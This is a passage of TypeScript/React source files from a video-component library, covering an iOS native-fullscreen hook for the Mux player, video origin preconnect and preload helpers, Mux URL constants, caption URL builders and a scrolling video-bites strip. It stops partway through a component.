<VolumeOffFilledIcon\n      size={SIZES[size]}\n      color=\"currentColor\"\n      className={cn('transition-colors group-hover/card:text-ods-accent', className)}\n      style={{ filter: GLYPH_SHADOW }}\n    />\n  )\n}\n","import React from 'react';\n\n/**\n * `fetchPriorityProp(priority)` — build the right shape for the `<img>` /\n * `<iframe>` fetch-priority hint based on the React major version detected\n * at module load.\n *\n * React 18 only recognizes the lowercase HTML attribute `fetchpriority`\n * and emits a console warning when it sees the camelCase prop. React 19+\n * recognizes the camelCase prop `fetchPriority` (matching the DOM's IDL\n * property) and warns when it sees the lowercase form.\n *\n * Spread the returned object into the element so the rendered DOM ends\n * up with the canonical lowercase `fetchpriority` attribute either way,\n * with zero console warnings on both React versions.\n *\n * Accepts either a boolean (for the simple \"high vs low\" hint at LCP\n * candidates) or an explicit HTML `fetchpriority` value (`'high' | 'low'\n * | 'auto'`) for call sites that always want one specific value.\n */\nconst REACT_MAJOR = parseInt((React.version || '0').split('.')[0], 10);\nconst USE_CAMEL_CASE_FETCH_PRIORITY = REACT_MAJOR >= 19;\n\nexport type FetchPriorityValue = 'high' | 'low' | 'auto';\n\nexport function fetchPriorityProp(\n  priority: boolean | FetchPriorityValue | undefined,\n): Record<string, string> {\n  // `undefined` → `'auto'` so callers can spread `{...fetchPriorityProp(maybeBool)}`\n  // without a separate null-check at every callsite. `'auto'` is the\n  // DOM default and emits no warning on either React major.\n  const value: FetchPriorityValue =\n    priority === undefined\n      ? 'auto'\n      : typeof priority === 'boolean'\n        ? priority ? 'high' : 'low'\n        : priority;\n  return USE_CAMEL_CASE_FETCH_PRIORITY\n    ? { fetchPriority: value }\n    : { fetchpriority: value };\n}\n","'use client';\n\n/**\n * iOS app shell only: hand the player's fullscreen control to Apple's own video\n * player instead of the Fullscreen API.\n *\n * This is what media-chrome already does on iPhone Safari — `requestFullscreen`\n * does not exist on `Element.prototype` there, so its `enterFullscreen` falls\n * through to `media.webkitEnterFullscreen()` and the video is handed to the\n * system player. The Capacitor shell turns element fullscreen ON (WKWebView's\n * `isElementFullscreenEnabled`), so media-chrome takes the `requestFullscreen()`\n * branch instead — and WebKit then hands the web view back with its scroll\n * view's `contentInsetAdjustmentBehavior` reset from Capacitor's `.never` to\n * `.automatic` and its own `safeAreaInsets` stranded at the fullscreen\n * container's values. The app comes back from a video with a doubled top band\n * and dead space above the home indicator until a rotation, and the shell can\n * only paper over it afterwards (`MainViewController` KVOs `fullscreenState` to\n * restore the behavior). Never entering element fullscreen is the actual fix.\n *\n * The takeover is an event interception, not a monkey-patch: the fullscreen\n * button dispatches `mediaenterfullscreenrequest` (`composed`, `bubbles`) from\n * inside the player's shadow trees, so a CAPTURE listener on the `<mux-player>`\n * host sees it before the `<media-controller>` that would service it, and\n * `stopImmediatePropagation()` is enough to claim the request. Which element\n * media-chrome would have passed to `requestFullscreen` never enters into it.\n *\n * The player's own fullscreen STATE stays correct for free: the system player\n * fires `webkitbeginfullscreen` / `webkitendfullscreen` on the `<video>`,\n * `mux-video` re-dispatches both, and media-chrome's state mediator already\n * listens for them.\n *\n * Anything the takeover cannot service falls through to media-chrome untouched:\n * no `<video>` yet, or `webkitSupportsFullscreen` still false — it stays false\n * until metadata has loaded, which is reachable on a Save-Data connection where\n * preload is `'none'`.\n */\n\nimport { useEffect } from 'react';\n\n/** media-chrome's `MediaUIEvents.MEDIA_ENTER_FULLSCREEN_REQUEST`. Spelled out\n *  rather than imported: media-chrome is a transitive dep of the Mux player, not\n *  a declared one. */\nconst ENTER_FULLSCREEN_REQUEST = 'mediaenterfullscreenrequest';\n\n/** The two `HTMLVideoElement` members WebKit adds for its own video-fullscreen\n *  presentation — absent from the DOM lib, and absent at runtime off Apple. */\ninterface NativeFullscreenVideo extends HTMLVideoElement {\n  webkitSupportsFullscreen?: boolean;\n  webkitEnterFullscreen?: () => void;\n}\n\ninterface CapacitorGlobal {\n  isNativePlatform?: () => boolean;\n  getPlatform?: () => string;\n}\n\n/** Gated on the shell, not on the platform: element fullscreen behaves fine in\n *  Safari (iPad) and on the desktop shell, where taking it away would only cost\n *  the player its chrome in fullscreen. */\nfunction isIosAppShell(): boolean {\n  const capacitor = (globalThis as { Capacitor?: CapacitorGlobal }).Capacitor;\n  return capacitor?.isNativePlatform?.() === true && capacitor.getPlatform?.() === 'ios';\n}\n\n/** The real `<video>` behind `<mux-player>`: `player.media` is the `<mux-video>`\n *  custom element and `nativeEl` is the element WebKit presents. */\nfunction nativeVideoElement(player: EventTarget): NativeFullscreenVideo | null {\n  const media = (player as { media?: { nativeEl?: unknown } | null }).media;\n  const element = media?.nativeEl ?? media;\n  return element instanceof HTMLVideoElement ? element : null;\n}\n\nexport function useIosNativeVideoFullscreen(playerRef: { current: unknown }): void {\n  useEffect(() => {\n    if (!isIosAppShell()) return;\n    const player = playerRef.current;\n    if (!(player instanceof EventTarget)) return;\n\n    const takeOver = (event: Event) => {\n      const video = nativeVideoElement(player);\n      if (!video?.webkitSupportsFullscreen || typeof video.webkitEnterFullscreen !== 'function') return;\n      event.stopImmediatePropagation();\n      video.webkitEnterFullscreen();\n    };\n\n    player.addEventListener(ENTER_FULLSCREEN_REQUEST, takeOver, true);\n    return () => player.removeEventListener(ENTER_FULLSCREEN_REQUEST, takeOver, true);\n  }, [playerRef]);\n}\n","'use client'\n\n/**\n * `useVideoWarmup` — single-source-of-truth hook for warming the\n * network path to a public entity's main video so click→first-frame\n * lands in sub-second on Fast 4G.\n *\n * Behavior:\n *\n *   1. **Preconnect on every render** (`ReactDOM.preconnect`) — buys\n *      the TCP / TLS handshakes to the video-bearing origins. React\n *      19 de-dupes identical preconnects, so this is safe to call\n *      on every render.\n *\n *   2. **Preload the video bytes** (`<link rel=\"preload\" as=\"video\">`)\n *      ONLY when:\n *        - the consumer's container scrolls within `nearMargin` of\n *          the viewport (gated via the lib's IO singleton hook), AND\n *        - `navigator.connection?.saveData !== true`, AND\n *        - the URL is on the Supabase storage origin (Mux HLS warms\n *          via its own manifest fetch when MuxPlayer mounts; YouTube\n *          has its own origin pool, no preload benefit).\n *\n * Origin configuration:\n *   - Mux origins (`stream.mux.com` / `image.mux.com`) are public\n *     Mux CDN hostnames and stable across the Mux API contract —\n *     hardcoded here.\n *   - Supabase storage origin varies per-deployment (different\n *     project per env). Threaded via the `supabaseStorageOrigin`\n *     argument so the lib stays env-agnostic; hub callers pass\n *     `getSupabaseStorageOrigin()` from their env config, or read\n *     it from `ChatRuntime.endpoints.supabaseStorageOrigin`.\n *\n * Lifted from hub `hooks/use-video-warmup.ts`. The Mux constants\n * and the IO-gated preload semantics are byte-equivalent.\n */\n\nimport { useEffect } from 'react'\nimport ReactDOM from 'react-dom'\nimport { useNearViewport } from '../../hooks/use-near-viewport'\nimport { useChatRuntime } from '../../contexts/chat-runtime-context'\n// Re-export from the server-safe `mux-origins.ts` module so the\n// constants are NOT bound to this `'use client'` file. See the\n// JSDoc in `mux-origins.ts` for the bug history. Backward-compat:\n// existing imports that read `MUX_STREAM_ORIGIN` from\n// `@flamingo-stack/openframe-frontend-core/components/features`\n// continue to resolve through this re-export.\nexport { MUX_STREAM_ORIGIN, MUX_IMAGE_ORIGIN } from './mux-origins'\nimport { MUX_STREAM_ORIGIN, MUX_IMAGE_ORIGIN } from './mux-origins'\n\n/**\n * Save-Data detection — the ONE source of truth for \"is this a metered\n * connection\". Consumed by the preload gate below and by `video.tsx`'s\n * default `preload` policy. SSR-safe (returns false on the server).\n */\nexport function saveDataEnabled(): boolean {\n  if (typeof navigator === 'undefined') return false\n  type Connection = { saveData?: boolean }\n  const conn = (navigator as Navigator & { connection?: Connection }).connection\n  return conn?.saveData === true\n}\n\n/**\n * Preconnect-only variant — fires the three video-bearing origin\n * preconnects (Supabase Storage + Mux stream + Mux image) without\n * setting up the IntersectionObserver subscription or the preload\n * `<link>` injection.\n *\n * Use this when the consumer can't attach a `ref` to the video\n * container (e.g. release detail page, which delegates the player\n * render to a sibling component). Calling the full `useVideoWarmup`\n * from there would subscribe to a never-mounted ref and ship dead\n * preload machinery in the bundle.\n *\n * For consumers that own the video container, use `useVideoWarmup`\n * (which composes this hook + the IO-gated preload step).\n *\n * Reads `supabaseStorageOrigin` from `ChatRuntime.endpoints` by\n * default — callers in hosts that mount `HubRuntimeProvider` (or\n * any equivalent provider that wires the field) get the origin\n * automatically. The explicit `supabaseStorageOrigin` argument\n * overrides the runtime value when set.\n *\n * The hub's `app/layout.tsx` also emits STATIC `<link rel=\"preconnect\">`\n * tags for the same Mux origins (document-parse-time warmup; React\n * dedupes against these runtime calls via the matching\n * crossOrigin=\"anonymous\"). A change to the origin list here must be\n * mirrored there.\n */\nexport function useVideoOriginPreconnect({\n  supabaseStorageOrigin,\n}: { supabaseStorageOrigin?: string } = {}): void {\n  const runtime = useChatRuntime()\n  const resolvedOrigin =\n    supabaseStorageOrigin ?? runtime?.endpoints.supabaseStorageOrigin\n  try {\n    ReactDOM.preconnect(MUX_STREAM_ORIGIN, { crossOrigin: 'anonymous' })\n    ReactDOM.preconnect(MUX_IMAGE_ORIGIN, { crossOrigin: 'anonymous' })\n    if (resolvedOrigin) {\n      ReactDOM.preconnect(resolvedOrigin, { crossOrigin: 'anonymous' })\n    }\n  } catch (err) {\n    if (process.env.NODE_ENV !== 'production') {\n      // eslint-disable-next-line no-console\n      console.warn('[useVideoOriginPreconnect] preconnect failed:', err)\n    }\n  }\n}\n\ninterface UseVideoWarmupOptions {\n  /**\n   * Effective video URL the page renders. Pass null/undefined when\n   * there's no video yet (the hook still preconnects). Only URLs on\n   * `supabaseStorageOrigin` are preloaded — Mux HLS and YouTube are\n   * no-ops on the preload side.\n   */\n  videoUrl?: string | null\n  /**\n   * Supabase storage origin (e.g. `https://xyz.supabase.co`). When\n   * omitted, falls back to `ChatRuntime.endpoints.supabaseStorageOrigin`\n   * — hosts that mount `HubRuntimeProvider` (or any equivalent\n   * provider) get the origin automatically. When neither is set, the\n   * preload step is skipped (preconnect to Mux still fires).\n   */\n  supabaseStorageOrigin?: string\n  /**\n   * IO root margin gate for the preload step. Default `'1000px'` —\n   * about one viewport's worth of lookahead on desktop.\n   */\n  nearMargin?: string\n}\n\nexport interface UseVideoWarmupResult<T extends Element = HTMLDivElement> {\n  ref: (node: T | null) => void\n  isNear: boolean\n}\n\nexport function useVideoWarmup<T extends Element = HTMLDivElement>({\n  videoUrl,\n  supabaseStorageOrigin,\n  nearMargin = '1000px',\n}: UseVideoWarmupOptions = {}): UseVideoWarmupResult<T> {\n  // Resolve origin once — runtime fallback so callers in hosts that\n  // mount `HubRuntimeProvider` don't need to thread it themselves.\n  const runtime = useChatRuntime()\n  const resolvedOrigin =\n    supabaseStorageOrigin ?? runtime?.endpoints.supabaseStorageOrigin\n\n  // Preconnect on every render — React 19 dedupes. Delegates to the\n  // shared preconnect-only variant so the origin list is a single\n  // source of truth.\n  useVideoOriginPreconnect({ supabaseStorageOrigin: resolvedOrigin })\n\n  const { ref, isNear } = useNearViewport<T>(nearMargin)\n\n  useEffect(() => {\n    if (!isNear || !videoUrl || !resolvedOrigin) return\n\n    // Save-Data gate — metered connections skip preload.\n    if (saveDataEnabled()) return\n\n    // Origin gate: only preload Supabase-hosted MP4s. Mux HLS warms\n    // via the manifest fetch when MuxPlayer mounts; YouTube has no\n    // preload benefit.\n    let videoOrigin: string\n    try {\n      videoOrigin = new URL(videoUrl, 'http://placeholder.local').origin\n    } catch {\n      return\n    }\n    if (videoOrigin !== resolvedOrigin) return\n\n    const link = document.createElement('link')\n    link.rel = 'preload'\n    link.as = 'video'\n    link.href = videoUrl\n    link.crossOrigin = 'anonymous'\n    // `fetchPriority='low'` matches the plan — the hint should not\n    // steal network from the LCP image; the click→first-frame win is\n    // in milliseconds, not the first paint.\n    if ('fetchPriority' in link) {\n      ;(link as HTMLLinkElement & { fetchPriority?: string }).fetchPriority = 'low'\n    }\n    document.head.appendChild(link)\n\n    return () => {\n      link.remove()\n    }\n  }, [isNear, videoUrl, resolvedOrigin])\n\n  return { ref, isNear }\n}\n","/**\n * Mux CDN origins + playback-URL helpers — single source of truth, server-safe.\n *\n * Lives in its own NON-`'use client'` module so server-side hub\n * modules (webhook handlers, URL builders, hostname comparisons in\n * `lib/config/mux-config.ts`) can import these without\n * tripping Next.js's client-reference poisoning. Re-exported from\n * `use-video-warmup.ts` for backward-compat with client-side callers.\n *\n * The Mux-HLS detection in `toMuxPreviewUrl` intentionally overlaps the\n * hub's `lib/config/mux-config.ts` `isMuxHlsUrl` — same documented\n * cross-repo duplication umbrella as the origin constants (the hub's\n * server code cannot depend on this package's client-marked siblings).\n *\n * Bug history (2026-05-29): when these constants lived in\n * `use-video-warmup.ts` (which is `'use client'`), the hub's\n * server-side `new URL(MUX_STREAM_ORIGIN).hostname` evaluation crashed\n * at Vercel build with `TypeError: Invalid URL` — Next.js had\n * replaced the constant with a client-function stub that throws\n * \"Attempted to call ... from the server\" when stringified. Splitting\n * the constants into this module restores the server-safe path.\n *\n * These hostnames are part of Mux's public API contract and are\n * stable. A future change to the Mux CDN architecture (extremely\n * unlikely) would be a single-line edit here.\n */\n\n/** HLS playback (`/{playback_id}.m3u8` + segments + per-asset MP4 renditions). */\nexport const MUX_STREAM_ORIGIN = 'https://stream.mux.com'\n\n/** Server-generated thumbnails (`/{playback_id}/thumbnail.jpg`). */\nexport const MUX_IMAGE_ORIGIN = 'https://image.mux.com'\n\n/** Valid values for Mux's `max_resolution` playback modifier (720p is the floor). */\nexport type MuxMaxResolution = '720p' | '1080p' | '1440p' | '2160p'\n\n/**\n * Cap the renditions offered by a public Mux HLS manifest for small\n * preview players (e.g. the ~234px video-bite hover cards) by appending\n * Mux's `max_resolution` playback modifier.\n *\n * Why a URL param and not a player prop: MuxPlayer's `maxResolution`\n * prop only applies when playing via `playbackId` — our SSOT passes\n * `src` URLs. And on Safari (native HLS, no hls.js) manifest-level\n * filtering is the ONLY rendition cap; hls.js's `capLevelToPlayerSize`\n * doesn't exist there.\n *\n * Pass-through (returns `url` unchanged) for: non-Mux hosts (Supabase\n * MP4s, YouTube), non-`.m3u8` paths (MP4 renditions), signed URLs\n * (`?token=` — Mux forbids loose modifiers alongside a token; they must\n * live in the JWT), and unparseable strings.\n */\nexport function toMuxPreviewUrl(url: string, maxResolution: MuxMaxResolution = '720p'): string {\n  let parsed: URL\n  try {\n    parsed = new URL(url)\n  } catch {\n    return url\n  }\n  if (parsed.origin !== MUX_STREAM_ORIGIN) return url\n  if (!parsed.pathname.endsWith('.m3u8')) return url\n  if (parsed.searchParams.has('token')) return url\n  parsed.searchParams.set('max_resolution', maxResolution)\n  return parsed.toString()\n}\n","'use client'\n\n/**\n * useCaptions — THE captions configurer.\n *\n * The ONE place in the lib that reads the chat-runtime endpoints\n * (`endpoints.captionsUrlPrefix`) for caption purposes. Every caption\n * consumer (`EntityVideoSection`, `ReleaseDetailPage`,\n * `OnboardingGuideDetailView`, `useWalkthroughVideo`, …) calls this hook and\n * uses the returned pre-bound helpers — no component reads runtime endpoint\n * values for captions itself.\n *\n * The pure derivation logic lives in `captions-url.ts` (endpoint-agnostic,\n * server-import-safe); this hook only binds it to the ambient runtime.\n */\n\nimport { useMemo } from 'react'\nimport { useChatRuntime } from '../../contexts/chat-runtime-context'\nimport {\n  getEntityCaptionUrls,\n  getEntityCaptionUrlsById,\n  rebaseCaptionsUrl,\n  type CaptionSrtFields,\n  type EntityCaptionUrls,\n} from './captions-url'\n\nexport interface CaptionsApi {\n  /** Both track URLs from an entity row's SRT columns (presence-gated). */\n  forEntity: (entityType: string, entity: CaptionSrtFields | null | undefined) => EntityCaptionUrls\n  /** Both track URLs from entity identity alone (no SRT knowledge — chat cards). */\n  forEntityId: (entityType: string, entityId: string | number) => Required<EntityCaptionUrls>\n  /** Rebase an already-built relative `/api/captions/...` URL onto the host base. */\n  rebase: <T extends string | null | undefined>(url: T) => T | string\n}\n\nexport function useCaptions(): CaptionsApi {\n  const endpoints = useChatRuntime()?.endpoints ?? null\n  return useMemo(\n    () => ({\n      forEntity: (entityType, entity) => getEntityCaptionUrls(endpoints, entityType, entity),\n      forEntityId: (entityType, entityId) => getEntityCaptionUrlsById(endpoints, entityType, entityId),\n      rebase: (url) => rebaseCaptionsUrl(endpoints, url),\n    }),\n    [endpoints],\n  )\n}\n","/**\n * Build the captions API URL for a video entity.\n *\n * Returns the HTTPS URL to the `/api/captions/[entityType]/[entityId]` endpoint\n * which serves VTT content for iOS native fullscreen subtitles.\n * Returns undefined if entity has no srt_content.\n *\n * Cache-busting hash derived from the srt_content length so iOS Safari\n * fetches fresh VTT when subtitles are regenerated (Safari aggressively caches\n * <track> src URLs even with short Cache-Control max-age).\n *\n * Lifted from hub `lib/utils/captions-url.ts`. The hub's hard-coded\n * `VideoEnabledEntityType` enum is widened to `string` here — embedders\n * pass whatever entity-type discriminator their reverse-proxied\n * `/api/captions/...` route expects.\n */\nexport function getCaptionsUrl(\n  entityType: string,\n  entityId: string | number,\n  srtContent?: string | null,\n  options?: {\n    /**\n     * Which SRT column the endpoint should serve. `'highlight'` targets the\n     * entity's highlight_srt_content (AI highlight reel captions); omitted\n     * means the main video's srt_content.\n     */\n    variant?: 'highlight'\n  },\n): string | undefined {\n  if (!srtContent) return undefined\n  const hash = `${srtContent.length}-${srtContent.slice(0, 8).replace(/\\s/g, '')}`\n  const variant = options?.variant ? `&variant=${options.variant}` : ''\n  return `${DEFAULT_CAPTIONS_PATH}/${entityType}/${entityId}?v=${hash}${variant}`\n}\n\n/** The slice of `ChatRuntime.endpoints` this module needs. */\nexport interface CaptionsEndpoints {\n  /** Base URL prefix for the captions route (plain path base, no query\n   *  params) — e.g. `/content/api/captions` in a proxied embedder. Unset ⇒\n   *  the same-origin relative default `/api/captions` (the hub). Wired by\n   *  hosts exactly like every other endpoint on `ChatRuntime.endpoints`. */\n  captionsUrlPrefix?: string\n}\n\n/** Same-origin default — for hosts that serve the route themselves (the hub).\n *  Cross-origin embedders set `endpoints.captionsUrlPrefix` instead. */\nconst DEFAULT_CAPTIONS_PATH = '/api/captions'\n\nfunction resolveCaptionsBase(endpoints?: CaptionsEndpoints | null): string {\n  return endpoints?.captionsUrlPrefix || DEFAULT_CAPTIONS_PATH\n}\n\n/** Rebase an already-built relative `/api/captions/...` URL (e.g. one the hub\n *  API computed server-side) onto the host's captions base. Same-origin hosts\n *  (base = default) get the URL back untouched. Non-captions URLs pass through. */\nexport function rebaseCaptionsUrl<T extends string | null | undefined>(\n  endpoints: CaptionsEndpoints | null | undefined,\n  url: T,\n): T | string {\n  if (!url || !url.startsWith(`${DEFAULT_CAPTIONS_PATH}/`)) return url\n  const base = resolveCaptionsBase(endpoints)\n  if (base === DEFAULT_CAPTIONS_PATH) return url\n  return `${base}${url.slice(DEFAULT_CAPTIONS_PATH.length)}`\n}\n\n/**\n * The endpoints-aware entry point — `getCaptionsUrl` based on\n * `endpoints.captionsUrlPrefix` (consumers hand over `runtime?.endpoints` and\n * nothing else). Hub/same-origin hosts leave the prefix unset and resolve to\n * the relative default.\n */\nexport function buildCaptionsUrl(\n  endpoints: CaptionsEndpoints | null | undefined,\n  entityType: string,\n  entityId: string | number,\n  srtContent?: string | null,\n  options?: { variant?: 'highlight' },\n): string | undefined {\n  const rel = getCaptionsUrl(entityType, entityId, srtContent, options)\n  return rel ? (rebaseCaptionsUrl(endpoints, rel) as string) : undefined\n}\n\n/** The two SRT columns every video entity carries — main video + highlight\n *  reel. The caption URL shape is fully generic over these\n *  (`?variant=highlight` is the only difference), so consumers never derive\n *  the two URLs by hand. */\nexport interface CaptionSrtFields {\n  id: string | number\n  srt_content?: string | null\n  highlight_srt_content?: string | null\n}\n\nexport interface EntityCaptionUrls {\n  captionsUrl?: string\n  highlightCaptionsUrl?: string\n}\n\n/**\n * THE one-stop caption derivation for a video entity: hand over the runtime\n * `endpoints` + the entity row and get both `<track>` URLs back, base-resolved\n * for the host (relative on the hub, proxied in embedders). Every view\n * (release, onboarding guide, webinar, podcast, …) calls this once instead of\n * hand-building main + highlight URLs separately.\n */\nexport function getEntityCaptionUrls(\n  endpoints: CaptionsEndpoints | null | undefined,\n  entityType: string,\n  entity: CaptionSrtFields | null | undefined,\n): EntityCaptionUrls {\n  if (!entity) return {}\n  return {\n    captionsUrl: buildCaptionsUrl(endpoints, entityType, entity.id, entity.srt_content),\n    highlightCaptionsUrl: buildCaptionsUrl(endpoints, entityType, entity.id, entity.highlight_srt_content, {\n      variant: 'highlight',\n    }),\n  }\n}\n\n/**\n * Identity-only variant of `getEntityCaptionUrls` — for surfaces that know the\n * entity's type + id but NOT its SRT columns (chat cards, whose hydration rows\n * deliberately exclude the heavy SRT content). The `/api/captions` route is\n * addressed purely by `<entityType>/<entityId>`, so the URLs derive from\n * identity alone; a video without subtitles costs one silent 404 `<track>`\n * fetch. No `?v=` cache-buster (no content to hash) — the route's own\n * Cache-Control governs freshness.\n */\nexport function getEntityCaptionUrlsById(\n  endpoints: CaptionsEndpoints | null | undefined,\n  entityType: string,\n  entityId: string | number,\n): Required<EntityCaptionUrls> {\n  const base = resolveCaptionsBase(endpoints)\n  return {\n    captionsUrl: `${base}/${entityType}/${entityId}`,\n    highlightCaptionsUrl: `${base}/${entityType}/${entityId}?variant=highlight`,\n  }\n}\n\n/**\n * Chat docType → captions-route entity type. Chat documentTypes equal the\n * captions entity types for every video-bearing type except podcast\n * (`podcast` vs `podcast_episode`). Kept here (not per-card) so the alias\n * exists exactly once.\n */\nexport function captionsEntityTypeForDocType(docType: string): string {\n  return docType === 'podcast' ? 'podcast_episode' : docType\n}\n","\"use client\";\n\n/**\n * <VideoBitesStrip> — THE unified public video-bites surface (Figma\n * \"Hero Section\" node 4033-90364). Replaces the old aspect-ratio grid\n * (`<VideoBitesDisplay>` is now a deprecated shim over this).\n *\n * Thin wrapper over the shared <CardsStrip> engine (render-prop mode) — the\n * marquee/chevron/seam/measure implementation and its state-model doc live in\n * `cards-strip.tsx`. This file keeps only the bite-specific concerns:\n *\n *   - publish filtering + newest-first sort (`video-bites-shared`)\n *   - Mux/Supabase origin warmup (`useVideoWarmup`)\n *   - profile / description-slot / navigation injection via props\n *   - <VideoBiteCard> — hover overlay + muted chromeless autoplay preview;\n *     the `<Video>` Mux SSoT is the only player primitive used\n *\n * Perf contract: each card renders the REAL player (first frame + center\n * play control — every card looks and behaves like any other video surface)\n * while the card is within ~500px of the viewport, via the engine's shared\n * TWO-WAY IntersectionObserver mount gate (`ctx.mounted`/`ctx.rootRef`):\n * players mount as cards approach and UNMOUNT again once the marquee carries\n * them far off-screen. Live player count is therefore bounded by the visible\n * strip width (+margin), not by list length or clone count. Playback itself\n * starts only on hover (`<Video playOnHover>` — sound at 50%, muted fallback).\n */\n\nimport React, { useMemo, useState } from 'react';\nimport { cn } from '../../utils/cn';\nimport { useVideoWarmup } from './use-video-warmup';\nimport { VideoHoverPreviewSurface } from './video-hover-preview';\nimport { CardHitLayer } from './card-hit-layer';\nimport { detectAspectRatio, RATIO_TO_CSS_ASPECT, ratioToCategory } from './video-ratio-tabs';\nimport type { VideoTeaserWithRatio } from './video-ratio-tabs';\nimport {\n  DEFAULT_VIDEO_BITES_TITLE,\n  sortBitesByCreatedAtDesc,\n  type VideoBiteStripProfile,\n} from './video-bites-shared';\nimport { CardsStrip, STRIP_CELL_MAX_WIDTH } from './cards-strip';\nimport { UserDisplay } from '../user-display';\nimport { Chevron02RightIcon } from '../icons-v2-generated/arrows/chevron-02-right-icon';\n\n// NOTE: the title constant / profile adapter / sort comparator live in the\n// server-safe leaf `video-bites-shared.ts` (its own published subpath). The\n// features barrel exports both modules — do NOT re-export the leaf from here\n// (duplicate `export *` names make the barrel exports ambiguous).\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** Extends VideoTeaserWithRatio — aspect_ratio is INHERITED, never re-declared. */\nexport interface VideoBiteStripItem extends VideoTeaserWithRatio {\n  /** Per-bite profile override (falls back to the section-level `profile`). */\n  profile?: VideoBiteStripProfile | null;\n  /** Navigation target — overlay chevron renders an anchor. */\n  href?: string;\n  /** Navigation callback — used when `href` is absent (overlay chevron = button). */\n  onNavigate?: () => void;\n}\n\nexport interface VideoBitesStripProps {\n  bites: ReadonlyArray<VideoBiteStripItem>;\n  /** Section heading. Default: DEFAULT_VIDEO_BITES_TITLE ('Key Moments'). */\n  title?: string;\n  showTitle?: boolean;\n  /** Filter to `published === true` bites. Default true. */\n  filterPublished?: boolean;\n  /** Section-level profile applied to bites without their own. */\n  profile?: VideoBiteStripProfile | null;\n  /** Section-level navigation target applied to bites without their own\n   *  `href` — the hover overlay links to the entity the bites originated from. */\n  href?: string;\n  /** Custom node rendered between the heading and the strip (description slot). */\n  headerSlot?: React.ReactNode;\n  /** Marquee auto-scroll. Auto-disabled on no-overflow and prefers-reduced-motion. */\n  autoScroll?: boolean;\n  /** Marquee speed in px/s. Default 60 (see cards-strip.tsx). */\n  autoScrollSpeed?: number;\n  /** Pause the marquee while a CARD is hovered (resumes as soon as the\n   *  pointer leaves the card — strip whitespace/heading never pauses). */\n  pauseOnHover?: boolean;\n  /** Card height in px per breakpoint (Figma: 416 desktop). */\n  cardHeightDesktop?: number;\n  cardHeightMobile?: number;\n  /** Floating prev/next buttons. Hidden automatically when nothing overflows. */\n  showChevrons?: boolean;\n  /** Section-level navigation fallback (per-bite `href`/`onNavigate` win). */\n  onBiteNavigate?: (bite: VideoBiteStripItem, index: number) => void;\n  /** Ordering comparator. Default `sortBitesByCreatedAtDesc`; FEATURED\n   *  surfaces pass `sortBitesByFeaturedAtDesc` so display order matches the\n   *  featured-recency ranking their server aggregation is capped by. */\n  sortComparator?: (a: VideoBiteStripItem, b: VideoBiteStripItem) => number;\n  className?: string;\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\nexport function VideoBitesStrip({\n  bites,\n  title = DEFAULT_VIDEO_BITES_TITLE,\n  showTitle = true,\n  filterPublished = true,\n  profile = null,\n  href,\n  headerSlot,\n  autoScroll = true,\n  autoScrollSpeed = 60,\n  pauseOnHover = true,\n  cardHeightDesktop = 416,\n  cardHeightMobile = 300,\n  showChevrons = true,\n  onBiteNavigate,\n  sortComparator = sortBitesByCreatedAtDesc,\n  className,\n}: VideoBitesStripProps): React.ReactElement | null {\n  const items = useMemo(() => {\n    const filtered = filterPublished ? bites.filter(b => b.published) : [...bites];\n    return filtered.sort(sortComparator);\n  }, [bites, filterPublished, sortComparator]);\n\n  // Preconnect Mux/Supabase origins once so first hover starts fast.\n  const warmup = useVideoWarmup<HTMLDivElement>({ videoUrl: items[0]?.url || null });\n\n  return (\n    <CardsStrip\n      items={items}\n      itemKey={b => b.url}\n      title={title}\n      showTitle={showTitle}\n      headerSlot={headerSlot}\n      autoScroll={autoScroll}\n      autoScrollSpeed={autoScrollSpeed}\n      pauseOnHover={pauseOnHover}\n      showChevrons={showChevrons}\n      prevLabel=\"Previous videos\"\n      nextLabel=\"Next videos\"\n      rootRef={warmup.ref}\n      className={className}\n      renderCard={(bite, ctx) => (\n        <VideoBiteCard\n          bite={bite}\n          index={ctx.index}\n          // MUST pass ctx.cardKey — the card's own fallback `${url}__${index}`\n          // lacks the copyIndex, so clone hover activation would never match.\n          cardKey={ctx.cardKey}\n          isClone={ctx.isClone}\n          isTouch={ctx.isTouch}\n          height={ctx.isMobile ? cardHeightMobile : cardHeightDesktop}\n          active={ctx.active}\n          onActivate={ctx.onActivate}\n          onDeactivate={ctx.onDeactivate}\n          playerMounted={ctx.mounted}\n          rootRef={ctx.rootRef}\n          profile={bite.profile ?? profile ?? null}\n          sectionHref={href}\n          onBiteNavigate={onBiteNavigate}\n        />\n      )}\n    />\n  );\n}\n\n// =============================================================================\n// Card — THE bite card (exported). One component for every surface: the\n// public strip passes controlled hover/mount state; the admin bites editor\n// renders it standalone (self-managed hover, grid-cell sizing, action slots,\n// inline title editing) so the admin sees EXACTLY the public card.\n// =============================================================================\n\nexport interface VideoBiteCardProps {\n  bite: VideoBiteStripItem;\n  index: number;\n  profile?: VideoBiteStripProfile | null;\n  sectionHref?: string;\n  onBiteNavigate?: (bite: VideoBiteStripItem, index: number) => void;\n  /** Fixed card height (strip). Omit → width-driven: card fills its grid\n   *  cell and the aspect-ratio derives the height (editor grids). */\n  height?: number;\n  /** Controlled hover-activation (strip). Omit → the card manages its own\n   *  hover/focus state. */\n  active?: boolean;\n  onActivate?: (key: string) => void;\n  onDeactivate?: (key: string) => void;\n  cardKey?: string;\n  isClone?: boolean;\n  isTouch?: boolean;\n  /** Controlled player mount (the strip's shared-by-index gate). Omit → the\n   *  card runs its own two-way near-viewport observer. */\n  playerMounted?: boolean;\n  /** Root-element ref hook (strip observer registration). May return a\n   *  cleanup (React 19 ref contract). */\n  rootRef?: (el: HTMLDivElement | null) => (() => void) | undefined;\n  /** Admin action toolbar rendered BELOW the media on a solid surface —\n   *  never floated over the video (white icons on a white frame fail the\n   *  WCAG 3:1 non-text contrast minimum; a solid `bg-ods-card` row always\n   *  passes). Editor passes publish / download / star / upload / delete. */\n  toolbar?: React.ReactNode;\n  /** Admin: the overlay title renders as an inline editor. */\n  titleEditable?: boolean;\n  onTitleChange?: (value: string) => void;\n  onTitleCommit?: (value: string) => void;\n  className?: string;\n}\n\nexport function VideoBiteCard({\n  bite,\n  index,\n  profile = null,\n  sectionHref,\n  onBiteNavigate,\n  height,\n  active,\n  onActivate,\n  onDeactivate,\n  cardKey,\n  isClone = false,\n  isTouch = false,\n  playerMounted,\n  rootRef,\n  toolbar,\n  titleEditable = false,\n  onTitleChange,\n  onTitleCommit,\n  className,\n}: VideoBiteCardProps) {\n  const cssAspect = 